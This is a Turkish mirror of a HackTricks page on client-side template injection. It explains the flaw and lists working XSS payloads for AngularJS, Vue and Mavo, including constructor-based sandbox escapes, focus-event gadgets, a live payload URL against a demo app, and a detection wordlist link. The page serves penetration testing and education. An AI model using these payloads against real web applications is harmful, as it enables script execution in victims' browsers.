mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
102 lines
6.9 KiB
Markdown
102 lines
6.9 KiB
Markdown
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
|
||
# Özet
|
||
|
||
Bu, **sunucu tarafı şablon enjeksiyonu** gibi ancak **istemci** tarafında gerçekleşir. **SSTI**, uzaktaki sunucuda **kod yürütmenize izin verirken**, **CSTI**, kurbanın tarayıcısında **keyfi JavaScript kodu yürütmenize izin verebilir**.
|
||
|
||
Bu zafiyetin **test edilmesi**, **SSTI** durumunda olduğu gibi çok **benzerdir**, yorumlayıcı **bir şablon bekler** ve onu yürütür. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **savunmasız** ise bir `0` göreceksiniz ve değilse, orijinali göreceksiniz: `{{ 7-7 }}`
|
||
|
||
# AngularJS
|
||
|
||
AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve **`ng-app`** gibi direktifler olarak bilinen özellikler aracılığıyla HTML ile etkileşime geçer. Bu direktif, AngularJS'in HTML içeriğini işlemesine izin verir ve çift süslü parantez içinde JavaScript ifadelerinin yürütülmesini sağlar.
|
||
|
||
Kullanıcı girdisinin dinamik olarak `ng-app` ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodu yürütmek mümkündür. Bu, girdi içinde AngularJS sözdiziminden yararlanılarak başarılabilir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:
|
||
```javascript
|
||
{{$on.constructor('alert(1)')()}}
|
||
{{constructor.constructor('alert(1)')()}}
|
||
<input ng-focus=$event.view.alert('XSS')>
|
||
|
||
<!-- Google Research - AngularJS -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
**AngularJS**'deki zafiyetin çok **temel bir çevrimiçi örneğini** [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**'da bulabilirsiniz.
|
||
|
||
{% hint style="danger" %}
|
||
[**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) bu yüzden bu sürümden itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalı.
|
||
{% endhint %}
|
||
|
||
# VueJS
|
||
|
||
**Zafiyetli bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\
|
||
Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||
|
||
Ve zafiyetli örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||
```markup
|
||
<!-- Google Research - Vue.js-->
|
||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||
```
|
||
## **V3**
|
||
|
||
VUE'da CSTI hakkında gerçekten iyi bir yazıya [buradan](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ulaşılabilir.
|
||
```
|
||
{{_openBlock.constructor('alert(1)')()}}
|
||
```
|
||
Kredi: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||
|
||
## **V2**
|
||
```
|
||
{{constructor.constructor('alert(1)')()}}
|
||
```
|
||
Kredi: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||
|
||
**Daha fazla VUE yüklemelerini kontrol edin** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||
|
||
# Mavo
|
||
|
||
Yük:
|
||
```
|
||
[7*7]
|
||
[(1,alert)(1)]
|
||
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
||
[self.alert(1)]
|
||
javascript:alert(1)%252f%252f..%252fcss-images
|
||
[Omglol mod 1 mod self.alert (1) andlol]
|
||
[''=''or self.alert(lol)]
|
||
<a data-mv-if='1 or self.alert(1)'>test</a>
|
||
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
||
<a href=[javascript&':alert(1)']>test</a>
|
||
[self.alert(1)mod1]
|
||
```
|
||
**Daha fazla yükleme** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||
|
||
# **Kaba Kuvvet Algılama Listesi**
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın.**
|
||
|
||
</details>
|